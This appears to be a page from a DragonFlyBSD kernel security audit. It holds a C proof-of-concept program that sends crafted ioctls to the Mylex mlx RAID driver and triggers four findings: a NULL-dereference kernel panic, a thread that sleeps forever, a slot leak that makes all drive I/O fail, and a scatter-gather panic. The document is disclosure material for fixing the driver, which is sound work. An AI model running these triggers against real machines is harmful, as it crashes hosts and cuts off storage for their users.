โฌข DragonFlyBSD Kernel Audit
DF-3952 / mlx_ioctl_trigger.c
โ† back to finding โ†“ download raw
/* mlx_ioctl_trigger.c โ€” DF-3949/3950/3951/3952 shared trigger skeleton
 *
 * Self-contained (structs copied from sys/dev/raid/mlx/mlxio.h so it builds
 * on any DragonFly userland).  Modes:
 *
 *   nextchild  (DF-3949): MLX_DETACH_DRIVE drive0, then MLX_NEXT_CHILD(-1)
 *             -> mlx.c:753 device_get_unit(sc->mlx_sysdrive[0].ms_disk)
 *             with [0].ms_disk == NULL while a later drive is attached
 *             -> device_get_unit(NULL) -> dev->unit on NULL -> panic.
 *
 *   usercmd    (DF-3950): MLX_COMMAND with a controller command that the
 *             firmware never completes -> mlx_wait_command() tsleep loop
 *             with a `count` that is never incremented (mlx.c:1655-1659)
 *             -> thread sleeps forever (signals interrupt each tsleep but
 *             the loop never exits).
 *
 *   wedge      (DF-3951): repeated MLX_COMMAND submissions against a
 *             controller that has stopped taking mailbox writes -> each
 *             mlx_start() failure path (mlx.c:2107) clears mlx_busycmd[slot]
 *             WITHOUT mlx_busycmds-- -> slot-count leak -> every later
 *             mlx_getslot() returns EBUSY -> all I/O on mlx drives fails.
 *
 *   bigbuf     (DF-3952): MLX_COMMAND with mu_datasize chosen so the DMA
 *             map produces more segments than the firmware-reported
 *             me_max_sg (tag allows MLX_NSEG=64 regardless) ->
 *             mlx_setup_dmamap() panic("too many s/g segments") (mlx.c:2010).
 *
 * Device is root:operator 0600 (mlx.c:466-468 make_dev) โ€” operator/root
 * privilege required for every mode.
 *
 * Build: cc -O2 -o mlx_ioctl_trigger mlx_ioctl_trigger.c
 * Run:   ./mlx_ioctl_trigger <mode> [/dev/mlx0]
 */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* ---- copied verbatim from sys/dev/raid/mlx/mlxio.h ---- */
struct mlx_usercommand
{
    size_t	mu_datasize;	/* size of databuffer */
    void	*mu_buf;	/* address in userspace of databuffer */
    int		mu_bufptr;	/* offset into command mailbox to place databuffer address */
    u_int16_t	mu_status;	/* command status returned */
    u_int8_t	mu_command[16];	/* command mailbox contents */
    int		mu_error;	/* result of submission to driver */
};

#define	MLX_NEXT_CHILD		_IOWR('M', 0, int)
#define	MLX_RESCAN_DRIVES	_IO  ('M', 1)
#define	MLX_DETACH_DRIVE	_IOW ('M', 2, int)
#define	MLX_COMMAND		_IOWR('M', 4, struct mlx_usercommand)

#define	MLX_CMD_DIRECT_CDB	0x04	/* from mlxreg.h */
#define	MLX_CMD_FLUSH		0x0a

static int
opendev(const char *dev)
{
	int fd = open(dev, O_RDWR);

	if (fd < 0)
		printf("open(%s): %s  (no Mylex DAC960 controller on this "
		    "guest โ€” hardware-gated trigger)\n", dev, strerror(errno));
	return (fd);
}

static int
mode_nextchild(int fd)			/* DF-3949 */
{
	int unit = 0, arg = -1;

	/* detach system drive 0 while drive 1+ remains attached */
	if (ioctl(fd, MLX_DETACH_DRIVE, &unit) != 0) {
		printf("DETACH_DRIVE(%d): %s (drive must not be open)\n",
		    unit, strerror(errno));
		return (1);
	}
	/* walk children starting at the beginning: driver derefs
	 * mlx_sysdrive[0].ms_disk which is now NULL -> panic */
	printf("issuing MLX_NEXT_CHILD(-1); expect NULL-deref panic in "
	    "device_get_unit (mlx.c:753)\n");
	return (ioctl(fd, MLX_NEXT_CHILD, &arg));
}

static int
mode_usercmd(int fd, u_int8_t cmd0, size_t dsize)  /* DF-3950 / DF-3952 */
{
	struct mlx_usercommand mu;
	static unsigned char buf[128 * 1024];

	memset(&mu, 0, sizeof(mu));
	mu.mu_datasize = dsize;
	mu.mu_buf = buf;
	mu.mu_bufptr = 8;
	memset(buf, 0, sizeof(buf));
	mu.mu_command[0] = cmd0;	/* controller op to (not) complete */
	printf("issuing MLX_COMMAND cmd0=0x%02x datasize=%zu\n",
	    cmd0, dsize);
	return (ioctl(fd, MLX_COMMAND, &mu));
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 2 ? argv[2] : "/dev/mlx0";
	const char *mode = argc > 1 ? argv[1] : "nextchild";
	int fd, rc;

	if ((fd = opendev(dev)) < 0)
		return (2);

	if (!strcmp(mode, "nextchild"))		/* DF-3949 */
		rc = mode_nextchild(fd);
	else if (!strcmp(mode, "usercmd"))	/* DF-3950: never-completing cmd */
		rc = mode_usercmd(fd, MLX_CMD_FLUSH, 512);
	else if (!strcmp(mode, "wedge")) {	/* DF-3951: wedge submissions */
		int i;

		for (i = 0; i < 8; i++)
			mode_usercmd(fd, MLX_CMD_FLUSH, 512);
		rc = 0;
	} else if (!strcmp(mode, "bigbuf"))	/* DF-3952: >me_max_sg segments */
		rc = mode_usercmd(fd, MLX_CMD_DIRECT_CDB, 128 * 1024);
	else {
		printf("usage: %s nextchild|usercmd|wedge|bigbuf [/dev/mlxN]\n",
		    argv[0]);
		rc = 64;
	}
	printf("ioctl rc=%d errno=%d\n", rc, errno);
	close(fd);
	return (rc == 0 ? 0 : 1);
}